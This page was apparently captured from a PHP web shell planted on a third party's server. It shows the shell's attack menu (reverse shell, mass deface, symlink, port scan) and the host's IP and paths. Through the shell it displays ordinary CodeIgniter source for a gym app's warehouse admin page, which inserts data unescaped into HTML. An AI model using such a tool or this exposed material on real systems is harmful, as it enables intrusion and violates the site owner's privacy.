Tul xxx Tul
User / IP
:
216.73.216.191
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Views
/
admin
/
warehouses
/
Viewing: index.php
<?= $this->extend('layout/app'); ?> <?php $this->section('title'); ?> Bodegas <?php $this->endSection(); ?> <?php $this->section('css'); ?> <link rel="stylesheet" href="<?= base_url('assets/DataTables/datatables.min.css'); ?>"> <style> .warehouse-stats { display: flex; gap: 20px; margin-bottom: 25px; flex-wrap: wrap; } .stat-card { flex: 1; min-width: 200px; background: var(--white); border: 1px solid var(--gray-200); border-radius: 16px; padding: 20px 25px; position: relative; overflow: hidden; transition: transform 0.2s, box-shadow 0.2s; } .stat-card:hover { transform: translateY(-2px); box-shadow: 0 8px 25px rgba(0,0,0,0.08); } .stat-card::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 4px; background: linear-gradient(90deg, var(--neon), #a8e600); } .stat-card .stat-icon { width: 50px; height: 50px; border-radius: 12px; display: flex; align-items: center; justify-content: center; font-size: 1.4rem; margin-bottom: 12px; } .stat-card .stat-icon.bg-dark { background: var(--dark) !important; color: var(--neon) !important; } .stat-card .stat-icon.bg-neon { background: var(--neon) !important; color: var(--dark) !important; } .stat-card .stat-icon.bg-info-soft { background: #e0f2fe !important; color: #0ea5e9 !important; } .stat-card .stat-value { font-family: 'Space Grotesk', sans-serif; font-size: 1.8rem; font-weight: 700; color: var(--dark); } .stat-card .stat-label { font-size: 0.8rem; color: #6b7280; text-transform: uppercase; letter-spacing: 0.05em; font-weight: 600; } .warehouse-badge { display: inline-flex; align-items: center; gap: 6px; padding: 6px 14px; border-radius: 8px; font-size: 0.8rem; font-weight: 600; } .warehouse-badge.active { background: #d1fae5; color: #059669; } .warehouse-badge.inactive { background: #fee2e2; color: #ef4444; } .product-count-badge { background: var(--dark); color: var(--neon); padding: 4px 12px; border-radius: 20px; font-size: 0.8rem; font-weight: 700; } .modal-content { border-radius: 20px !important; overflow: hidden; } .modal-header.bg-dark { background: var(--dark) !important; } .modal-header .modal-title { font-family: 'Space Grotesk', sans-serif; font-weight: 700; } .product-list-item { display: flex; align-items: center; justify-content: space-between; padding: 10px 15px; border-radius: 10px; margin-bottom: 6px; background: var(--gray-50); border: 1px solid var(--gray-100); transition: all 0.2s; } .product-list-item:hover { border-color: var(--neon); background: #fafff0; } .product-list-item .form-check-input { cursor: pointer; } .border-neon-soft { border-color: rgba(204, 255, 0, 0.3) !important; } .bg-neon-soft { background-color: rgba(204, 255, 0, 0.05) !important; } .text-neon { color: var(--neon) !important; } .bg-neon { background-color: var(--neon) !important; } </style> <?php $this->endSection(); ?> <?php $this->section('content'); ?> <div class="app-title"> <div> <h1><i class="bi bi-building"></i> Bodegas</h1> <p>Gestión de almacenes e inventario</p> </div> <ul class="app-breadcrumb breadcrumb"> <li class="breadcrumb-item"><i class="bi bi-house-door fs-6"></i></li> <li class="breadcrumb-item"><a href="<?= base_url('admin'); ?>">Admin</a></li> <li class="breadcrumb-item"><a href="#">Bodegas</a></li> </ul> </div> <!-- Stats Cards --> <div class="warehouse-stats" id="warehouseStats"> <div class="stat-card"> <div class="stat-icon bg-dark"><i class="bi bi-building"></i></div> <div class="stat-value" id="totalWarehouses">0</div> <div class="stat-label">Total Bodegas</div> </div> <div class="stat-card"> <div class="stat-icon bg-neon"><i class="bi bi-box-seam"></i></div> <div class="stat-value" id="totalProducts">0</div> <div class="stat-label">Productos Almacenados</div> </div> <div class="stat-card"> <div class="stat-icon bg-info-soft"><i class="bi bi-cash-stack"></i></div> <div class="stat-value" id="totalValue">0</div> <div class="stat-label">Valor del Inventario</div> </div> </div> <?php if (has_permission('Bodegas:crear')) { ?> <div class="text-end mb-3 d-flex justify-content-end gap-2"> <a href="<?= base_url('admin/warehouses/transfer-history-view') ?>" class="btn btn-secondary shadow-sm"> <i class="bi bi-clock-history me-1"></i> Historial </a> <button class="btn btn-primary shadow-sm px-4" onclick="showTransferModal()"> <i class="bi bi-arrow-left-right me-1"></i> Traslado de Stock </button> <button class="btn btn-primary" onclick="showWarehouseModal()"> <i class="bi bi-plus-lg"></i> Nueva Bodega </button> </div> <?php } ?> <div class="card border-0 shadow-sm" style="border-radius: 16px; overflow: hidden;"> <div class="card-body"> <div class="table-responsive"> <table class="table table-striped align-middle nowrap" style="width:100%;" id="tblWarehouses"> <thead> <tr> <th>Item</th> <th>Nombre</th> <th>Descripción</th> <th>Ubicación</th> <th>Productos</th> <th>Valor Inventario</th> <th>Estado</th> <th>Acción</th> </tr> </thead> <tbody></tbody> </table> </div> </div> </div> <!-- Modal Crear/Editar Bodega --> <div class="modal fade" id="warehouseModal" tabindex="-1"> <div class="modal-dialog"> <div class="modal-content border-0"> <div class="modal-header bg-dark text-white border-0"> <h5 class="modal-title" id="warehouseModalTitle"><i class="bi bi-building me-2"></i>Nueva Bodega</h5> <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button> </div> <form id="warehouseForm"> <input type="hidden" id="warehouseId" name="id"> <div class="modal-body p-4"> <div class="mb-3"> <label class="form-label text-muted small fw-bold text-uppercase">Nombre de la Bodega *</label> <input type="text" class="form-control" id="warehouseName" name="name" required placeholder="Ej: Bodega Principal, Almacén Norte..."> </div> <div class="mb-3"> <label class="form-label text-muted small fw-bold text-uppercase">Descripción</label> <textarea class="form-control" id="warehouseDescription" name="description" rows="2" placeholder="Descripción breve de la bodega..."></textarea> </div> <div class="mb-3"> <label class="form-label text-muted small fw-bold text-uppercase">Ubicación / Dirección</label> <input type="text" class="form-control" id="warehouseAddress" name="address" placeholder="Ej: Planta baja, Edificio A..."> </div> </div> <div class="modal-footer border-0 p-4"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancelar</button> <button type="submit" class="btn btn-primary fw-bold">Guardar Bodega</button> </div> </form> </div> </div> </div> <!-- Modal Ver Productos de Bodega --> <div class="modal fade" id="productsModal" tabindex="-1"> <div class="modal-dialog modal-lg"> <div class="modal-content border-0"> <div class="modal-header bg-dark text-white border-0"> <h5 class="modal-title"><i class="bi bi-box-seam me-2"></i>Productos en: <span id="productsModalWarehouse"></span></h5> <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button> </div> <div class="modal-body p-4"> <div id="productsListContainer"> <div class="text-center py-4"> <div class="spinner-border text-dark" role="status"></div> <p class="mt-2 text-muted">Cargando productos...</p> </div> </div> </div> <div class="modal-footer border-0" id="reassignFooter" style="display:none;"> <select class="form-select" id="reassignWarehouseId" style="max-width: 250px;"> <option value="">Mover seleccionados a...</option> </select> <button class="btn btn-primary fw-bold" onclick="reassignSelected()"> <i class="bi bi-arrow-right-circle me-1"></i> Reasignar </button> </div> </div> </div> </div> <!-- Modal Traslado de Stock (REDiseño Premium) --> <div class="modal fade" id="transferModal"> <div class="modal-dialog modal-xl modal-dialog-centered"> <div class="modal-content border-0 shadow-lg"> <div class="modal-header bg-dark text-white border-0 py-3"> <div class="d-flex align-items-center"> <div class="bg-neon text-dark rounded-circle p-2 me-3" style="width: 40px; height: 40px; display: flex; align-items: center; justify-content: center;"> <i class="bi bi-arrow-left-right fs-5"></i> </div> <div> <h5 class="modal-title mb-0 fw-bold">Centro de Traslados</h5> <p class="text-muted mb-0 small" style="font-size: 0.7rem; color: #a1a1a1 !important;">Mueva productos entre sus bodegas de forma segura</p> </div> </div> <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button> </div> <form id="transferForm"> <div class="modal-body p-0"> <div class="row g-0"> <!-- Panel Izquierdo: Configuración y Selección --> <div class="col-lg-5 p-4 border-end bg-light"> <div class="mb-4"> <h6 class="text-dark fw-bold mb-3 d-flex align-items-center"> <span class="badge bg-dark me-2">1</span> Ruta de Traslado </h6> <div class="row g-2"> <div class="col-6"> <label class="form-label text-muted small fw-bold text-uppercase">Origen</label> <select class="form-select shadow-sm" id="originWarehouseId" name="origin_warehouse_id" required onchange="onOriginChange(this.value)"> <option value="">Seleccione...</option> </select> </div> <div class="col-6"> <label class="form-label text-muted small fw-bold text-uppercase">Destino</label> <select class="form-select shadow-sm" id="destinationWarehouseId" name="destination_warehouse_id" required> <option value="">Seleccione...</option> </select> </div> </div> </div> <div class="mb-4"> <h6 class="text-dark fw-bold mb-3 d-flex align-items-center"> <span class="badge bg-dark me-2">2</span> Selección de Productos </h6> <div class="mb-3"> <label class="form-label text-muted small fw-bold text-uppercase">Buscar Producto</label> <select class="form-select select2-modal" id="transferProductId" onchange="updateMaxQuantity(this)"> <option value="">Escriba nombre o código...</option> </select> </div> <div id="stockInfo" class="mb-3" style="display:none;"></div> <div class="row g-2 align-items-end"> <div class="col-8"> <label class="form-label text-muted small fw-bold text-uppercase">Cantidad</label> <div class="input-group shadow-sm"> <input type="number" class="form-control" id="transferQuantity" min="1" placeholder="0"> <span class="input-group-text bg-white"><i class="bi bi-box"></i></span> </div> </div> <div class="col-4"> <button type="button" class="btn btn-dark w-100 py-2 fw-bold" onclick="addToTransferList()" id="btnAddProduct"> <i class="bi bi-plus-lg me-1"></i> Añadir </button> </div> </div> </div> <div class="mb-0"> <h6 class="text-dark fw-bold mb-3 d-flex align-items-center"> <span class="badge bg-dark me-2">3</span> Notas Finales </h6> <textarea class="form-control shadow-sm" id="transferNotes" name="notes" rows="3" placeholder="Motivo del traslado, observaciones..."></textarea> </div> </div> <!-- Panel Derecho: Lista de Traslado --> <div class="col-lg-7 p-4 bg-white d-flex flex-column"> <div class="d-flex justify-content-between align-items-center mb-3"> <h6 class="text-dark fw-bold mb-0"> <i class="bi bi-list-check me-2"></i> Lista de Productos para Traslado </h6> <span class="badge bg-light text-dark border" id="itemCount">0 productos</span> </div> <div class="flex-grow-1" style="min-height: 400px;"> <div class="table-responsive h-100"> <table class="table table-hover align-middle border-0" id="tblTransferList"> <thead class="bg-light sticky-top"> <tr style="font-size: 0.65rem; color: #6b7280;"> <th class="border-0 text-uppercase py-3 ps-3">Detalle del Producto</th> <th class="border-0 text-uppercase py-3 text-center">Cant.</th> <th class="border-0 text-uppercase py-3 text-end pe-3">Acción</th> </tr> </thead> <tbody id="transferListBody"> <tr> <td colspan="3" class="text-center py-5 border-0"> <div class="py-5"> <i class="bi bi-cart-x text-muted opacity-25" style="font-size: 4rem;"></i> <p class="text-muted mt-3 mb-0">La lista está vacía</p> <small class="text-muted opacity-75">Seleccione un origen y agregue productos</small> </div> </td> </tr> </tbody> </table> </div> </div> <div class="mt-4 pt-3 border-top d-flex justify-content-between align-items-center"> <div> <span class="text-muted small">Total unidades:</span> <span class="fw-bold fs-5 ms-1" id="totalQty">0</span> </div> <div class="d-flex gap-2"> <button type="button" class="btn btn-outline-secondary px-4" data-bs-dismiss="modal">Cancelar</button> <button type="submit" class="btn btn-primary fw-bold px-5 py-2 shadow-sm" id="btnProcessTransfer" disabled> <i class="bi bi-check2-circle me-1"></i> Confirmar Traslado Masivo </button> </div> </div> </div> </div> </div> </form> </div> </div> </div> <?php $this->endSection(); ?> <?php $this->section('js'); ?> <script src="<?= base_url('assets/DataTables/datatables.min.js'); ?>"></script> <script> const warehouseBaseUrl = base_url + 'admin/warehouses'; let tblWarehouses; let currentViewWarehouseId = null; document.addEventListener('DOMContentLoaded', function() { tblWarehouses = $('#tblWarehouses').DataTable({ responsive: true, ajax: { url: warehouseBaseUrl + '/show', dataSrc: '' }, columns: [ { data: 'item' }, { data: 'name', render: d => `<strong class="text-dark">${d}</strong>` }, { data: 'description', render: d => d || '<span class="text-muted fst-italic">—</span>' }, { data: 'address', render: d => d ? `<i class="bi bi-geo-alt me-1 text-muted"></i>${d}` : '<span class="text-muted fst-italic">—</span>' }, { data: 'product_count', render: d => `<span class="product-count-badge">${d} producto(s)</span>` }, { data: 'total_value', render: d => `<span class="fw-bold">${app_currency} ${d}</span>` }, { data: 'status', render: d => d == 1 ? '<span class="warehouse-badge active"><i class="bi bi-check-circle-fill"></i> Activa</span>' : '<span class="warehouse-badge inactive"><i class="bi bi-x-circle-fill"></i> Inactiva</span>' }, { data: null, render: function(data) { let btns = '<div class="btn-group" role="group">'; btns += `<button class="btn btn-outline-info btn-sm" onclick="viewProducts(${data.id}, '${data.name}')" title="Ver Productos"><i class="bi bi-eye"></i></button>`; btns += `<button class="btn btn-outline-warning btn-sm" onclick="editWarehouse(${data.id}, '${data.name}', '${data.description || ''}', '${data.address || ''}')" title="Editar"><i class="bi bi-pencil-square"></i></button>`; btns += `<button class="btn btn-outline-danger btn-sm" onclick="deleteWarehouse(${data.id})" title="Eliminar"><i class="bi bi-trash-fill"></i></button>`; btns += '</div>'; return btns; }} ], language: { url: base_url + 'assets/admin/js/es-ES.json' }, dom: dom, buttons: buttons.map(btn => { if (btn.extend && (btn.extend.includes('excel') || btn.extend.includes('pdf') || btn.extend.includes('print') || btn.extend.includes('copy') || btn.extend.includes('csv'))) { return { ...btn, exportOptions: { columns: ':not(:last-child)' } }; } return btn; }), order: [[0, 'asc']], drawCallback: function() { updateStats(this.api().data()); } }); }); function updateStats(data) { let totalW = data.length, totalP = 0, totalV = 0; data.each(function(row) { totalP += parseInt(row.product_count) || 0; totalV += parseFloat(row.total_value.replace(/,/g, '')) || 0; }); document.getElementById('totalWarehouses').textContent = totalW; document.getElementById('totalProducts').textContent = totalP; document.getElementById('totalValue').textContent = app_currency + ' ' + totalV.toLocaleString('en-US', {minimumFractionDigits: 2}); } function showWarehouseModal(id, name, desc, addr) { document.getElementById('warehouseId').value = id || ''; document.getElementById('warehouseName').value = name || ''; document.getElementById('warehouseDescription').value = desc || ''; document.getElementById('warehouseAddress').value = addr || ''; document.getElementById('warehouseModalTitle').innerHTML = id ? '<i class="bi bi-pencil me-2"></i>Editar Bodega' : '<i class="bi bi-building me-2"></i>Nueva Bodega'; new bootstrap.Modal(document.getElementById('warehouseModal')).show(); } function editWarehouse(id, name, desc, addr) { showWarehouseModal(id, name, desc, addr); } document.getElementById('warehouseForm').onsubmit = function(e) { e.preventDefault(); const id = document.getElementById('warehouseId').value; const formData = new FormData(this); const url = id ? `${warehouseBaseUrl}/${id}` : warehouseBaseUrl; // Si hay ID, estamos editando, usamos spoofing de PUT para que CI4 maneje bien los datos if (id) { formData.append('_method', 'PUT'); } fetch(url, { method: 'POST', // Siempre usamos POST para enviar FormData correctamente body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(r => r.json()).then(data => { if (data.status === 'success') { bootstrap.Modal.getInstance(document.getElementById('warehouseModal')).hide(); tblWarehouses.ajax.reload(); Swal.fire({ icon: 'success', title: '¡Éxito!', text: data.message, timer: 2000, showConfirmButton: false }); } else { Swal.fire('Error', data.message, 'error'); } }); }; function deleteWarehouse(id) { Swal.fire({ title: '¿Eliminar bodega?', text: 'Esta acción no se puede deshacer. Los productos deben estar reasignados.', icon: 'warning', showCancelButton: true, confirmButtonColor: '#0a0a0a', cancelButtonColor: '#ef4444', confirmButtonText: 'Sí, eliminar', cancelButtonText: 'Cancelar' }).then(result => { if (result.isConfirmed) { fetch(`${warehouseBaseUrl}/${id}`, { method: 'DELETE', headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(r => r.json()).then(data => { if (data.status === 'success') { tblWarehouses.ajax.reload(); Swal.fire({ icon: 'success', title: 'Eliminada', text: data.message, timer: 2000, showConfirmButton: false }); } else { Swal.fire('No se puede eliminar', data.message, 'error'); } }); } }); } function viewProducts(warehouseId, warehouseName) { currentViewWarehouseId = warehouseId; document.getElementById('productsModalWarehouse').textContent = warehouseName; document.getElementById('productsListContainer').innerHTML = '<div class="text-center py-4"><div class="spinner-border text-dark"></div><p class="mt-2 text-muted">Cargando productos...</p></div>'; document.getElementById('reassignFooter').style.display = 'none'; new bootstrap.Modal(document.getElementById('productsModal')).show(); // Load warehouses for reassign fetch(base_url + 'admin/warehouses-active').then(r => r.json()).then(warehouses => { const sel = document.getElementById('reassignWarehouseId'); sel.innerHTML = '<option value="">Mover seleccionados a...</option>'; warehouses.forEach(w => { if (w.id != warehouseId) sel.innerHTML += `<option value="${w.id}">${w.name}</option>`; }); }); fetch(`${warehouseBaseUrl}/${warehouseId}/products`).then(r => r.json()).then(products => { if (products.length === 0) { document.getElementById('productsListContainer').innerHTML = '<div class="text-center py-5"><i class="bi bi-inbox text-muted" style="font-size:3rem;"></i><p class="text-muted mt-2">No hay productos en esta bodega</p></div>'; return; } let html = '<div class="d-flex justify-content-between align-items-center mb-3"><div class="form-check"><input class="form-check-input" type="checkbox" id="selectAll" onchange="toggleSelectAll(this)"><label class="form-check-label fw-bold ms-1" for="selectAll">Seleccionar todos</label></div><span class="text-muted small">' + products.length + ' producto(s)</span></div>'; products.forEach(p => { html += `<div class="product-list-item"> <div class="d-flex align-items-center gap-3"> <input class="form-check-input product-check" type="checkbox" value="${p.id}"> <div><strong>${p.name}</strong><br><small class="text-muted">${p.barcode} · ${p.category_name || 'Sin categoría'} · Stock: ${p.quantity}</small></div> </div> <span class="fw-bold">${app_currency} ${parseFloat(p.sale_price).toFixed(2)}</span> </div>`; }); document.getElementById('productsListContainer').innerHTML = html; document.getElementById('reassignFooter').style.display = 'flex'; }); } function toggleSelectAll(el) { document.querySelectorAll('.product-check').forEach(cb => cb.checked = el.checked); } function reassignSelected() { const ids = [...document.querySelectorAll('.product-check:checked')].map(cb => cb.value); const wId = document.getElementById('reassignWarehouseId').value; if (!ids.length) return Swal.fire('Atención', 'Seleccione al menos un producto', 'warning'); if (!wId) return Swal.fire('Atención', 'Seleccione la bodega destino', 'warning'); const formData = new FormData(); ids.forEach(id => formData.append('product_ids[]', id)); formData.append('warehouse_id', wId); fetch(base_url + 'admin/warehouses/reassign-products', { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(r => r.json()).then(data => { if (data.status === 'success') { Swal.fire({ icon: 'success', title: '¡Reasignados!', text: data.message, timer: 2000, showConfirmButton: false }); viewProducts(currentViewWarehouseId, document.getElementById('productsModalWarehouse').textContent); tblWarehouses.ajax.reload(); } else { Swal.fire('Error', data.message, 'error'); } }); } // NUEVAS FUNCIONES DE TRASLADO MULTI-PRODUCTO let transferList = []; let allWarehouses = []; function showTransferModal() { transferList = []; updateTransferListTable(); document.getElementById('transferForm').reset(); document.getElementById('stockInfo').style.display = 'none'; document.getElementById('transferProductId').disabled = true; fetch(base_url + 'admin/warehouses-active').then(r => r.json()).then(warehouses => { allWarehouses = warehouses; const origin = document.getElementById('originWarehouseId'); const dest = document.getElementById('destinationWarehouseId'); let options = '<option value="">Seleccione...</option>'; warehouses.forEach(w => options += `<option value="${w.id}">${w.name}</option>`); origin.innerHTML = options; dest.innerHTML = options; $('.select2-modal').select2({ theme: 'bootstrap-5', dropdownParent: $('#transferModal'), placeholder: 'Escriba nombre o código...', width: '100%' }); new bootstrap.Modal(document.getElementById('transferModal')).show(); }); } function onOriginChange(warehouseId) { // Filtrar destino para que no sea igual al origen const dest = document.getElementById('destinationWarehouseId'); const currentDest = dest.value; let destOptions = '<option value="">Seleccione...</option>'; allWarehouses.forEach(w => { if (w.id != warehouseId) { destOptions += `<option value="${w.id}" ${w.id == currentDest ? 'selected' : ''}>${w.name}</option>`; } }); dest.innerHTML = destOptions; if (transferList.length > 0) { Swal.fire({ title: '¿Cambiar origen?', text: 'Se limpiará la lista de productos agregados.', icon: 'warning', showCancelButton: true, confirmButtonText: 'Sí, cambiar' }).then(result => { if (result.isConfirmed) { transferList = []; updateTransferListTable(); loadOriginProducts(warehouseId); } else { // Revert select document.getElementById('originWarehouseId').value = transferList[0].originId; onOriginChange(transferList[0].originId); // Re-filtrar } }); } else { loadOriginProducts(warehouseId); } } function loadOriginProducts(warehouseId) { const prodSelect = document.getElementById('transferProductId'); if (!warehouseId) { prodSelect.disabled = true; prodSelect.innerHTML = '<option value="">Seleccione origen...</option>'; return; } prodSelect.disabled = false; prodSelect.innerHTML = '<option value="">Cargando...</option>'; fetch(`${warehouseBaseUrl}/${warehouseId}/products`).then(r => r.json()).then(products => { let options = '<option value="">Seleccione producto...</option>'; products.forEach(p => { options += `<option value="${p.id}" data-stock="${p.quantity}" data-barcode="${p.barcode}" data-name="${p.name}">${p.name}</option>`; }); prodSelect.innerHTML = options; $(prodSelect).trigger('change'); }); } function updateMaxQuantity(el) { const stockInfo = document.getElementById('stockInfo'); const input = document.getElementById('transferQuantity'); const option = el.options[el.selectedIndex]; if (option && option.value) { const stock = parseInt(option.dataset.stock) || 0; const barcode = option.dataset.barcode || ''; stockInfo.innerHTML = ` <div class="d-flex align-items-center gap-2 p-2 rounded bg-white border border-neon-soft shadow-sm" style="background: linear-gradient(90deg, #fff, #fafff0);"> <div class="bg-neon text-dark rounded-3 p-2" style="width:40px; height:40px; display:flex; align-items:center; justify-content:center; box-shadow: 0 4px 10px rgba(204,255,0,0.2);"> <i class="bi bi-box-seam"></i> </div> <div> <div class="small text-muted fw-bold text-uppercase" style="font-size:0.65rem;">Stock Disponible</div> <div class="fw-bold text-dark">${stock} unidades <span class="text-muted fw-normal small">· ${barcode}</span></div> </div> </div> `; stockInfo.style.display = 'block'; input.max = stock; input.placeholder = `Máx: ${stock}`; } else { stockInfo.style.display = 'none'; input.placeholder = '0'; } } function addToTransferList() { const originId = document.getElementById('originWarehouseId').value; const prodSelect = document.getElementById('transferProductId'); const qtyInput = document.getElementById('transferQuantity'); const option = prodSelect.options[prodSelect.selectedIndex]; if (!originId) return Swal.fire('Error', 'Seleccione primero la bodega de origen', 'error'); if (!option.value) return Swal.fire('Error', 'Seleccione un producto', 'error'); const qty = parseInt(qtyInput.value); const stock = parseInt(option.dataset.stock); if (!qty || qty <= 0) return Swal.fire('Error', 'Ingrese una cantidad válida', 'error'); if (qty > stock) return Swal.fire('Error', 'La cantidad supera el stock disponible', 'error'); // Check if already in list const existing = transferList.find(i => i.productId === option.value); if (existing) { if (existing.quantity + qty > stock) return Swal.fire('Error', 'El total en lista supera el stock disponible', 'error'); existing.quantity += qty; } else { transferList.push({ productId: option.value, name: option.dataset.name, barcode: option.dataset.barcode, quantity: qty, originId: originId }); } qtyInput.value = ''; updateTransferListTable(); $(prodSelect).val('').trigger('change'); } function updateTransferListTable() { const body = document.getElementById('transferListBody'); const btn = document.getElementById('btnProcessTransfer'); const itemCountEl = document.getElementById('itemCount'); const totalQtyEl = document.getElementById('totalQty'); if (transferList.length === 0) { body.innerHTML = ` <tr> <td colspan="3" class="text-center py-5 border-0"> <div class="py-5"> <i class="bi bi-cart-x text-muted opacity-25" style="font-size: 4rem;"></i> <p class="text-muted mt-3 mb-0">La lista está vacía</p> <small class="text-muted opacity-75">Seleccione un origen y agregue productos</small> </div> </td> </tr> `; btn.disabled = true; itemCountEl.textContent = '0 productos'; totalQtyEl.textContent = '0'; return; } btn.disabled = false; let html = ''; let totalItems = transferList.length; let totalQuantity = 0; transferList.forEach((item, index) => { totalQuantity += item.quantity; html += ` <tr class="border-bottom"> <td class="ps-3 py-3"> <div class="fw-bold text-dark">${item.name}</div> <div class="small text-muted" style="font-size: 0.75rem;"> <i class="bi bi-barcode me-1"></i>${item.barcode} </div> </td> <td class="text-center"> <span class="badge bg-dark px-3 py-2 rounded-pill shadow-sm">${item.quantity}</span> </td> <td class="text-end pe-3"> <button type="button" class="btn btn-outline-danger btn-sm border-0 rounded-circle" style="width: 32px; height: 32px; padding: 0;" onclick="removeFromTransferList(${index})"> <i class="bi bi-trash"></i> </button> </td> </tr> `; }); body.innerHTML = html; itemCountEl.textContent = `${totalItems} ${totalItems === 1 ? 'producto' : 'productos'}`; totalQtyEl.textContent = totalQuantity; } function removeFromTransferList(index) { transferList.splice(index, 1); updateTransferListTable(); } document.getElementById('transferForm').onsubmit = function(e) { e.preventDefault(); const destinationId = document.getElementById('destinationWarehouseId').value; if (!destinationId) return Swal.fire('Error', 'Seleccione la bodega de destino', 'error'); if (transferList.length === 0) return Swal.fire('Error', 'Agregue al menos un producto', 'error'); const originId = document.getElementById('originWarehouseId').value; if (originId === destinationId) return Swal.fire('Error', 'El origen y destino no pueden ser iguales', 'error'); Swal.fire({ title: '¿Confirmar traslado?', text: `Se trasladarán ${transferList.length} producto(s).`, icon: 'question', showCancelButton: true, confirmButtonColor: '#0a0a0a', confirmButtonText: 'Confirmar' }).then(result => { if (result.isConfirmed) { const formData = new FormData(); formData.append('origin_warehouse_id', originId); formData.append('destination_warehouse_id', destinationId); formData.append('notes', document.getElementById('transferNotes').value); transferList.forEach((item, i) => { formData.append(`products[${i}][product_id]`, item.productId); formData.append(`products[${i}][quantity]`, item.quantity); }); fetch(warehouseBaseUrl + '/transfer-stock', { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(r => r.json()).then(data => { if (data.status === 'success') { bootstrap.Modal.getInstance(document.getElementById('transferModal')).hide(); tblWarehouses.ajax.reload(); Swal.fire({ icon: 'success', title: '¡Éxito!', text: data.message }); } else { Swal.fire('Error', data.message, 'error'); } }); } }); }; </script> <?php $this->endSection(); ?>
Coded With 💗 by
0x6ick